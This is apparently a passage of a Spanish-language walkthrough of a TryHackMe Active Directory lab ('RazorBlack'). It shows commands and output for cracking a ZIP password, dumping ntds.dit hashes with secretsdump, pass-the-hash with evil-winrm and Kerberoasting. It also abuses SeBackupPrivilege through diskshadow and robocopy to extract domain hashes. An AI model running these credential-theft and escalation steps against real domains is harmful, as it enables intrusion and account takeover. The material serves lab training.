                5101823 blocks of size 4096. 936525 blocks available
smb: \> get chat_log_20210222143423.txt 
getting file \chat_log_20210222143423.txt of size 1340 as chat_log_20210222143423.txt (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)
smb: \> get experiment_gone_wrong.zip 
getting file \experiment_gone_wrong.zip of size 18927164 as experiment_gone_wrong.zip (1399.6 KiloBytes/sec) (average 1399.6 KiloBytes/sec)
smb: \> exit

Nota: el parámetro -m SMB2 es para forzar a smbclient a usar el protocolo SMB2 en lugar de SMB1, lo que evita problemas de timeout y desconexión durante la descarga del archivo .zip. MB2 es más eficiente, moderno y mejor en manejo de archivos grandes, lo que evita errores como NT_STATUS_IO_TIMEOUT que podemos tener con SMB1.

Al inspeccionar el contenido de chat_log_20210222143423.txt vamos a encontrar una copia de un chat entre el usuario sbradley y el Administrator donde básicamente el usuario sbradley comenta que guardó el contenido del ntds.dit y del SYSTEM.hive en un comprimido (experiment_gone_wrong.zip),

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat chat_log_20210222143423.txt
sbradley> Hey Administrator our machine has the newly disclosed vulnerability for Windows Server 2019.
Administrator> What vulnerability??
sbradley> That new CVE-2020-1472 which is called ZeroLogon has released a new PoC.
Administrator> I have given you the last warning. If you exploit this on this Domain Controller as you did previously on our old Ubuntu server with dirtycow, I swear I will kill your WinRM-Access.
sbradley> Hey you won't believe what I am seeing.
Administrator> Now, don't say that you ran the exploit.
sbradley> Yeah, The exploit works great it needs nothing like credentials. Just give it IP and domain name and it resets the Administrator pass to an empty hash.
sbradley> I also used some tools to extract ntds. dit and SYSTEM.hive and transferred it into my box. I love running secretsdump.py on those files and dumped the hash.
Administrator> I am feeling like a new cron has been issued in my body named heart attack which will be executed within the next minute.
Administrator> But, Before I die I will kill your WinRM access..........
sbradley> I have made an encrypted zip containing the ntds.dit and the SYSTEM.hive and uploaded the zip inside the trash share.
sbradley> Hey Administrator are you there ...
sbradley> Administrator .....

The administrator died after this incident.

Press F to pay respects

Cracking ZIP password con John

Gracias a la pista anterior podemos deducir que en experiment_gone_wrong.zip vamos a encontrar hashes ntlm de los usuarios del dominio, pero al intentar descomprimirlo nos va a pedir una contraseña, y para descifrarla vamos a requerir de la tool zip2john que básicamente se encarga de extraer el hash de la contraseña del archivo ZIP para que luego podamos crackearla con John the Ripper. El paso a paso es el siguiente:

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# zip2john experiment_gone_wrong.zip > hash.txt
ver 2.0 efh 5455 efh 7875 experiment_gone_wrong.zip/system.hive PKZIP Encr: TS_chk, cmplen=2941739, decmplen=16281600, crc=BDCCA7E2 ts=591C cs=591c type=8
ver 2.0 efh 5455 efh 7875 experiment_gone_wrong.zip/ntds.dit PKZIP Encr: TS_chk, cmplen=15985077, decmplen=58720256, crc=68037E87 ts=5873 cs=5873 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
electromagnetismo (experiment_gone_wrong.zip)     
1g 0:00:00:00 DONE (2025-06-01 02:40) 1.123g/s 9416Kp/s 9416Kc/s 9416KC/s eleed2649..elboty2009
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Y de esta forma obtenemos el password del .zip ahora vamos a extraer su contenido

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# unzip -P electromagnetismo experiment_gone_wrong.zip

Archive:  experiment_gone_wrong.zip
  inflating: system.hive             
  inflating: ntds.dit       
  
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ls
chat_log_20210222143423.txt
experiment_gone_wrong.zip
hash.txt
ntds.dit
system.hive         
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL > hashes_dump.txt

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# grep -E '^[^:]+:[0-9]+:[a-f0-9]{32}:[a-f0-9]{32}' hashes_dump.txt | cut -d':' -f4 > ntlm_hashes_clean.txt

Nota: al archivo hashes_dump.txt le tenemos que aplicar una edición de formato para poder dejar solamente el hash ntlm limpio y usarlo luego con crackmapexec.

📌¿Qué son los ntds.dit y SYSTEM y como podemos extraer los hashes NTLM?

El archivo ntds.dit contiene la base de datos del Active Directory, incluyendo los objetos del dominio, entre ellos los usuarios y sus hashes de contraseñas. Sin embargo, esos hashes no están almacenados en texto plano ni directamente accesibles: están cifrados utilizando una clave derivada de una estructura llamada bootKey.

El archivo SYSTEM, que es parte del registro de Windows (concretamente el hive del sistema), contiene esa bootKey. Esta clave es necesaria para descifrar los secretos del ntds.dit. Sin el archivo SYSTEM, no es posible obtener la bootKey y por lo tanto no se puede descifrar correctamente la información contenida en ntds.dit.

En resumen, ntds.dit proporciona los datos cifrados y el archivo SYSTEM proporciona la clave para descifrarlos. Por eso, ambos son requeridos para que secretsdump.py pueda extraer con éxito los hashes NTLM de un controlador de dominio.

Pass the hash con EvilWinRM

Una vez que volcamos los hashes ntlm a un archivo, tenemos que identificar algún usuario de la lista users_enum.txt que haga match con alguno de los hashes y para encontrarlo vamos a usar nxc. La única forma de hacer esto es ir agregando usuario por usuario en la línea de comando hasta encontrar el match, en este caso como no son muchos usuarios no hay problema, pero sino lo mejor es construir un script para automatizar este trabajo.

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat users_enum.txt 
Administrator
Guest
HAVEN-DC$
krbtgt
lvetrova
sbradley
twilliams
xyan1d3

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# nxc smb 10.10.18.112 -u lvetrova -H ntlm_hashes_clean.txt | grep '\[+\]' 

SMB    10.10.18.112   445    HAVEN-DC         [+] raz0rblack.thm\lvetrova:f220d3988deb3f516c73f40ee16c431d

Y ahora si podemos aplicar el pass the hash de la siguiente manera:

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -u lvetrova -H f220d3988deb3f516c73f40ee16c431d -i 10.10.18.112 
                                        
Evil-WinRM shell v3.7
                                                                               
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lvetrova\Documents> cd ..
*Evil-WinRM* PS C:\Users\lvetrova> dir

    Directory: C:\Users\lvetrova

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/15/2018  12:19 AM                Desktop
d-r---        2/25/2021  10:14 AM                Documents
d-r---        9/15/2018  12:19 AM                Downloads
d-r---        9/15/2018  12:19 AM                Favorites
d-r---        9/15/2018  12:19 AM                Links
d-r---        9/15/2018  12:19 AM                Music
d-r---        9/15/2018  12:19 AM                Pictures
d-----        9/15/2018  12:19 AM                Saved Games
d-r---        9/15/2018  12:19 AM                Videos
-a----        2/25/2021  10:16 AM           1692 lvetrova.xml

*Evil-WinRM* PS C:\Users\lvetrova> download lvetrova.xml
                                        
Info: Downloading C:\Users\lvetrova\lvetrova.xml to lvetrova.xml
                                        
Info: Download successful!

Credential Harvesting

Encontramos el recurso lvetrova.xml, y si lo inspeccionamos vamos a encontrar lo siguiente:

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat lvetrova.xml                                                                       
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">Your Flag is here =&gt;</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009db56a0543f441469fc81aadb02945d20000000002000000000003660000c000000010000000069a026f82c590fa867556fe4495ca870000000004800000a0000000100000003b5bf64299ad06afde3fc9d6efe72d35500000002828ad79f53f3f38ceb3d8a8c41179a54dc94cab7b17ba52d0b9fc62dfd4a205f2bba2688e8e67e5cbc6d6584496d107b4307469b95eb3fdfd855abe27334a5fe32a8b35a3a0b6424081e14dc387902414000000e6e36273726b3c093bbbb4e976392a874772576d</SS>
    </Props>
  </Obj>
</Objs>

Lo que encontramos es un archivo .xml que contiene un objeto serializado de PowerShell del tipo System.Management.Automation.PSCredential. Este tipo de objeto suele usarse para almacenar credenciales seguras (usuario + contraseña) en scripts de PowerShell, y es probable que el archivo contenga una contraseña cifrada en formato SecureString. Vamos a desglosarlo:

  • <S N="UserName">Your Flag is here =></S> → este es el campo del nombre de usuario. En este caso parece indicarnos una pista: el valor real del flag estaría en el campo de contraseña.

  • <SS N="Password">...cadena larga...</SS> → este campo representa una contraseña cifrada usando el método ConvertFrom-SecureString de PowerShell. Esta cadena no se puede descifrar directamente sin el perfil de usuario que la cifró originalmente, ya que está protegida usando el DPAPI (Data Protection API) de Windows

Sin embargo al poseer la sesión del usuario que creó este archivo podemos usar el siguiente script de PowerShell para revertirlo y obtener la contraseña en texto plano

$cred = Import-Clixml -Path "C:\Users\lvetrova\Documents\lvetrova.xml"
$cred.GetNetworkCredential().Password

Esto nos imprime la contraseña desencriptada, porque el sistema tiene acceso al DPAPI necesario para descifrar el SecureString.

$cred = Import-Clixml -Path "C:\Users\lvetrova\Documents\lvetrova.xml"

  • Import-Clixml → es un cmdlet que lee un archivo XML serializado por PowerShell (generalmente con Export-Clixml) y reconstruye el objeto original.

  • -Path → especifica la ruta al archivo .xml que contiene el objeto a importar.

Resultado: este comando importa y recrea en la variable $cred un objeto del tipo PSCredential que incluye el nombre de usuario y la contraseña (codificada como SecureString).

$cred.GetNetworkCredential().Password

  • $cred → hace referencia al objeto PSCredential importado.

  • .GetNetworkCredential() → convierte el objeto SecureString de PowerShell a un objeto más accesible del tipo NetworkCredential.

  • .Password → accede directamente al campo de texto plano (string) de la contraseña.

Nota: si quieres aprender más sobre cómo funcionan las SecureString y las PSCredentials te recomiendo el siguiente artículo:

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -u lvetrova -H f220d3988deb3f516c73f40ee16c431d -i 10.10.18.112
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lvetrova\Documents> cd ..
*Evil-WinRM* PS C:\Users\lvetrova> $cred = Import-Clixml -Path "C:\Users\lvetrova\lvetrova.xml"
*Evil-WinRM* PS C:\Users\lvetrova> $cred.GetNetworkCredential().Password
THM{694362e877adef0d85a92e6d17551fe4}

Kerberoasting con impacket-GetUserSPNs

Kerberoasting es una técnica que permite obtener la contraseña en texto claro de un usuario de dominio con un SPN asociado, sin necesidad de privilegios elevados. Siempre que obtenemos el hash ntlm de un usuario del dominio del ad podemos implementar este tipo de ataques con scripts de la suite de impacket. En este caso voy a usar impacket-GetUserSPNs.py para enumerar los Service Principal Names (SPNs) asociados a cuentas de usuario. Cuando usamos este script lo que ocurre es que el Kerberos responde con un ticket de servicio (TGS) perteneciente a algún otro usuario del dominio que mantiene un SPN registrado. Luego este ticket lo almacenamos en un archivo para descifrar la contraseña con John the Ripper

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-GetUserSPNs -request -dc-ip 10.10.18.112 raz0rblack.thm/lvetrova -hashes aad3b435b51404eeaad3b435b51404ee:f220d3988deb3f516c73f40ee16c431d -outputfile kerberoast 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName                   Name     MemberOf                                                    PasswordLastSet             LastLogon  Delegation 
-------------------------------------  -------  ----------------------------------------------------------  --------------------------  ---------  ----------
HAVEN-DC/xyan1d3.raz0rblack.thm:60111  xyan1d3  CN=Remote Management Users,CN=Builtin,DC=raz0rblack,DC=thm  2021-02-23 10:17:17.715160  <never>               

[-] CCache file is not found. Skipping...
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# john kerberoast -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cyanide9amine5628 (?)     
1g 0:00:00:06 DONE (2025-06-03 00:24) 0.1550g/s 1374Kp/s 1374Kc/s 1374KC/s cybaster..cy2802341
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
📌Parámetros de impacket-GetUserSPNs
  • -request → indica que se soliciten los TGS (Ticket Granting Service) para las cuentas con SPNs (Service Principal Names).

  • -dc-ip 10.10.18.112 → dirección IP del Controlador de Dominio (Domain Controller).

  • raz0rblack.thm/lvetrova → nombre del usuario y dominio con el que se autentica para hacer la solicitud.

  • -hashes LMHASH:NTHASH → se emplea la autenticación mediante hash NTLM, sin necesidad de conocer la contraseña en texto claro.

  • -outputfile kerberoast → archivo donde se guarda el hash Kerberos obtenido, susceptible a crackeo offline.

Una vez que obtuvimos las nueva credenciales vamos a chequear a qué servicios nos permiten acceder para realizar nuestro próximo movimiento

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# service_validation.sh raz0rblack.thm xyan1d3 'cyanide9amine5628'
[*] Probando credenciales contra raz0rblack.thm con usuario 'xyan1d3'...

--- Probando smb ---
SMB         10.10.18.112    445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB         10.10.18.112    445    HAVEN-DC         [+] raz0rblack.thm\xyan1d3:cyanide9amine5628

--- Probando ldap ---
SMB         10.10.18.112    445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
LDAP        10.10.18.112    389    HAVEN-DC         [+] raz0rblack.thm\xyan1d3:cyanide9amine5628 (Pwn3d!)

--- Probando winrm ---
WINRM       10.10.18.112    5985   HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
WINRM       10.10.18.112    5985   HAVEN-DC         [+] raz0rblack.thm\xyan1d3:cyanide9amine5628 (Pwn3d!)

--- Probando rdp ---
RDP         10.10.18.112    3389   HAVEN-DC         [*] Windows 10 or Windows Server 2016 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm) (nla:True)
RDP         10.10.18.112    3389   HAVEN-DC         [+] raz0rblack.thm\xyan1d3:cyanide9amine5628

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.18.112    135    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
RPC         10.10.18.112    135    HAVEN-DC         [+] raz0rblack.thm\xyan1d3:cyanide9amine5628

--- Probando ftp ---

--- Probando ssh ---

Credential Harvesting

Los resultados de la validación de servicios nos indica que podemos acceder al winrm con estas credenciales, asique lo que haremos será establecer una conexión remota con EvilWinRM Explorando el directorio personal del usuario xyan1d3, vamos a encontrar un archivo de nombre xyan1d3.xml. Al ver su contenido con type, vamos a ver un objeto serializado de PowerShell del tipo PSCredential, con datos cifrados utilizando el cmdlet Export-Clixml al igual que nos pasó con el usuario lvetrova. Entonces para descifrar este mensaje vamos a utilizar los mismos comandos que usamos con lvetrova:

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -u xyan1d3 -p cyanide9amine5628 -i 10.10.18.112
                                        
Evil-WinRM shell v3.7
                                                                               
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\xyan1d3\Documents> cd ..
*Evil-WinRM* PS C:\Users\xyan1d3> dir

    Directory: C:\Users\xyan1d3

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/15/2018  12:19 AM                Desktop
d-r---        2/25/2021   9:34 AM                Documents
d-r---        9/15/2018  12:19 AM                Downloads
d-r---        9/15/2018  12:19 AM                Favorites
d-r---        9/15/2018  12:19 AM                Links
d-r---        9/15/2018  12:19 AM                Music
d-r---        9/15/2018  12:19 AM                Pictures
d-----        9/15/2018  12:19 AM                Saved Games
d-r---        9/15/2018  12:19 AM                Videos
-a----        2/25/2021   9:33 AM           1826 xyan1d3.xml

*Evil-WinRM* PS C:\Users\xyan1d3> type xyan1d3.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">Nope your flag is not here</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000006bc3424112257a48aa7937963e14ed790000000002000000000003660000c000000010000000f098beb903e1a489eed98b779f3c70b80000000004800000a000000010000000e59705c44a560ce4c53e837d111bb39970000000feda9c94c6cd1687ffded5f438c59b080362e7e2fe0d9be8d2ab96ec7895303d167d5b38ce255ac6c01d7ac510ef662e48c53d3c89645053599c00d9e8a15598e8109d23a91a8663f886de1ba405806944f3f7e7df84091af0c73a4effac97ad05a3d6822cdeb06d4f415ba19587574f1400000051021e80fd5264d9730df52d2567cd7285726da2</SS>
    </Props>
  </Obj>
</Objs>

*Evil-WinRM* PS C:\Users\xyan1d3> $cred = Import-Clixml -Path "C:\Users\xyan1d3\xyan1d3.xml"

*Evil-WinRM* PS C:\Users\xyan1d3> $cred.GetNetworkCredential().Password

LOL here it is -> THM{62ca7e0b901aa8f0b233cade0839b5bb}

Bingo! ( ͡• ͜ʖ ͡•) El siguiente movimiento es recolectar información sobre los grupos y los permisos del usuario xyan1d3 en el sistema

*Evil-WinRM* PS C:\Users\xyan1d3\Documents> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            Guest                    krbtgt
lvetrova                 sbradley                 twilliams
xyan1d3
The command completed with one or more errors.

*Evil-WinRM* PS C:\Users\xyan1d3\Documents> whoami /all

USER INFORMATION
----------------

User Name          SID
================== ============================================
raz0rblack\xyan1d3 S-1-5-21-3403444377-2687699443-13012745-1106

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                  Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

En PRIVILEGES INFORMATION vamos a encontrar el permiso SeBackupPrivilege habilitado y en GROUP INFORMATION vamos a ver que el usuario pertenece al grupo BUILTIN\Backup Operators ¿Qué significa todo esto?

El grupo BUILTIN\Backup Operators es un grupo local predefinido en sistemas Windows. Los miembros de este grupo reciben automáticamente los privilegios:

  • SeBackupPrivilege (copiar archivos en modo backup)

  • SeRestorePrivilege (restaurar archivos con privilegios elevados)

Este grupo existe para permitir que usuarios no administradores realicen tareas de respaldo y restauración de datos críticos

Por otra parte el SeBackupPrivilege es un derecho de usuario que permite leer cualquier archivo del sistema, sin importar las listas de control de acceso (ACLs) que normalmente restringirían el acceso. Este privilegio está diseñado para que las cuentas de respaldo (como operadores de copia de seguridad) puedan realizar tareas de respaldo completas, incluso si no tienen permisos explícitos sobre cada archivo o carpeta. Un usuario con este privilegio puede copiar archivos como ntds.dit, SAM, o SYSTEM sin ser administrador.

En esta etapa voy a desarrollar dos formas de obtener las credenciales NTLM del usuario Administrator, la primera es con utilidades nativas de los sistemas windows (diskshadow y robocopy) y la segunda es utilizando impacket-reg, esta última es la más rápida y fácil de replicar.

El procedimiento que vamos a seguir para la obtención de credenciales de dominio a partir de Volume Shadow Copy es el siguiente:

  • En el directorio raíz vamos a crear el directorio /temp donde volcaremos las copias de los archivos ntds.dit y SYSTEM

  • Subimos al directorio /temp el archivo de configuración (script) llamado diskshad0w.dsh, el cual contiene las instrucciones para la utilidad diskshadow

  • Copiar el disco del sistema (volumen C:): ejecutamos el comando diskshadow /s diskshad0w.dsh, para generar una copia sombra del volumen C: del sistema. Esto se logra utilizando la funcionalidad Volume Shadow Copy Service (servicio de copias sombra) de Windows, la cual está diseñada para realizar respaldos coherentes de archivos en uso. A través del alias definido en el script (diskshad0w), la copia sombra se expone como una unidad lógica (Z:\), lo que permite su navegación y lectura.

  • Copiar el ntds.dit: utilizamos la utilidad robocopy con el parámetro /b, para copiar archivos en modo de respaldo, ignorando las restricciones de ACL. De esta forma, accede a z:\windows\ntds\ntds.dit y lo copia exitosamente al directorio C:\temp.

  • Copiar el SYSTEM: guardamos una copia del archivo de registro del sistema (HKLM\SYSTEM) con el comando reg save hklm\system SYSTEM

  • Descargamos los archivos ntds.dit y SYSTEM en el kali para extraer los hashes con impacket-secretsdump

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# unix2dos diskshad0w.dsh                                 
unix2dos: converting file diskshad0w to DOS format...

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat diskshad0w.dsh                
set context persistent nowriters
add volume c: alias diskshad0w
create
expose %diskshad0w% z:
📌diskshad0w.dsh
set context persistent nowriters
add volume c: alias 'tu_alias'
create
expose %repite_alias% z:

set context persistent nowriters Este comando establece el contexto de la sesión de copia sombra como persistente, lo que significa que la copia no se eliminará automáticamente una vez finalizada la sesión. El modificador nowriters evita que los writers (como SQL Server o Exchange) interfieran o intenten sincronizar el estado de los archivos.

add volume c: alias diskshad0w Indica que se va a incluir la unidad C: como volumen de origen para la copia sombra y se le asigna un alias (diskshad0w) que facilita su referencia en los pasos posteriores.

create Inicia la creación de la copia sombra del volumen especificado. Una vez ejecutado, se genera una snapshot (copia puntual y en tiempo real) del disco C:.

expose %diskshad0w% z: Expone la copia sombra como una nueva unidad lógica accesible desde el sistema, en este caso Z:\. Esto permite navegarla como si fuese una unidad más del sistema, incluyendo rutas protegidas como C:\Windows\NTDS.

Nota: la tool unix2dos convierte los finales de línea del archivo de formato UNIX () a formato DOS/Windows (\r). Esto es necesario porque los intérpretes de comandos en Windows pueden fallar al procesar archivos que no estén en el formato de fin de línea correcto. Por otro lado, el término "copia sombra" (shadow copy) se refiere a una instantánea del estado de un volumen de disco en un momento específico del tiempo. En sistemas Windows, esta funcionalidad es provista por el Volume Shadow Copy Service (VSS).

Si te interesa aprender más sobre esta técnica te recomiendo que leas los siguientes artículos:

*Evil-WinRM* PS C:\Users\xyan1d3\Documents> cd /

*Evil-WinRM* PS C:\> mkdir C:\temp

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         6/2/2025  10:30 PM                temp

*Evil-WinRM* PS C:\> cd temp

*Evil-WinRM* PS C:\temp> upload /home/kali/Documents/THM/RAZORBLACK/diskshad0w.dsh
                                        
Info: Uploading /home/kali/Documents/THM/RAZORBLACK/diskshad0w.dsh to C:\temp\diskshad0w.dsh
Progress: 100% : |▓▓▓▓▓▓▓▓▓▒|                                        
Info: Download successful!                                        
Data: 120 bytes of 120 bytes copied                                        
Info: Upload successful!

*Evil-WinRM* PS C:\temp> diskshadow /s diskshad0w.dsh
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  HAVEN-DC,  6/3/2025 2:43:31 PM

-> set context persistent nowriters
-> add volume c: alias diskshad0w
-> create
Alias diskshad0w for shadow ID {5d996629-f227-48b0-b2ae-e7667cf2bed5} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {148113ce-c9b6-475f-83c3-b37b0895c44e} set as environment variable.

Querying all shadow copies with the shadow copy set ID {148113ce-c9b6-475f-83c3-b37b0895c44e}

        * Shadow copy ID = {5d996629-f227-48b0-b2ae-e7667cf2bed5}               %diskshad0w%
                - Shadow copy set: {148113ce-c9b6-475f-83c3-b37b0895c44e}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{115c1f55-0000-0000-0000-602200000000}\ [C:\]
                - Creation time: 6/3/2025 2:43:35 PM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
                - Originating machine: HAVEN-DC.raz0rblack.thm
                - Service machine: HAVEN-DC.raz0rblack.thm
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %diskshad0w% z:
-> %diskshad0w% = {5d996629-f227-48b0-b2ae-e7667cf2bed5}
-> The shadow copy was successfully exposed as z:\.

*Evil-WinRM* PS C:\temp> robocopy /b z:\windows\ntds . ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------
  Started : Tuesday, June 3, 2025 2:43:51 PM
   Source : z:\windows\ntds\
     Dest : C:\temp\
    Files : ntds.dit
  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
                           1    z:\windows\ntds\
            New File              16.0 m        ntds.dit

100%
------------------------------------------------------------------------------
               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         0         1         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   16.00 m   16.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00

   Speed :            19531101 Bytes/sec.
   Speed :            1117.578 MegaBytes/min.
   Ended : Tuesday, June 3, 2025 2:43:52 PM

*Evil-WinRM* PS C:\temp> reg save hklm\system SYSTEM
The operation completed successfully.

*Evil-WinRM* PS C:\temp> dir

    Directory: C:\temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/3/2025   2:28 PM            615 2025-06-03_14-28-02_HAVEN-DC.cab
-a----         6/3/2025   2:43 PM            623 2025-06-03_14-43-36_HAVEN-DC.cab
-a----         6/3/2025   2:43 PM             98 diskshad0w.dsh
-a----         6/3/2025   2:19 PM       16777216 ntds.dit
-a----         6/3/2025   2:44 PM       17215488 SYSTEM

*Evil-WinRM* PS C:\temp> download SYSTEM
                                        
Info: Downloading C:\temp\SYSTEM to SYSTEM
Progress: 100% : |▓▓▓▓▓▓▓▓▓▒|                                                                                
Info: Download successful!

*Evil-WinRM* PS C:\temp> download ntds.dit
                                        
Info: Downloading C:\temp\ntds.dit to ntds.dit
Progress: 69% : |▓▓▓▓▓▒░░░░|                                                  

Extracción de hashes NTLM con impacket-secretsdump

Una vez que ya tenemos los archivos SYSTEM y ntds.dit podemos extraer los hashes con impacket-secretsdump

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xf1582a79dd00631b701d3d15e75e59f6
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: f6162bb347993035d66a15417d73a667
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HAVEN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:c7e0bf27c637789e2b64a39e103a8a66:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fa3c456268854a917bd17184c85b4fd1:::
raz0rblack.thm\xyan1d3:1106:aad3b435b51404eeaad3b435b51404ee:bf11a3cbefb46f7194da2fa190834025:::
raz0rblack.thm\lvetrova:1107:aad3b435b51404eeaad3b435b51404ee:f220d3988deb3f516c73f40ee16c431d:::
raz0rblack.thm\sbradley:1108:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b628426e:::
raz0rblack.thm\twilliams:1109:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b628426e:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:ab77c0dd6f5a28b63c4ae5f0eb89ad48f3ed43d52dc42f1dca2e99d8fc9cdbbf
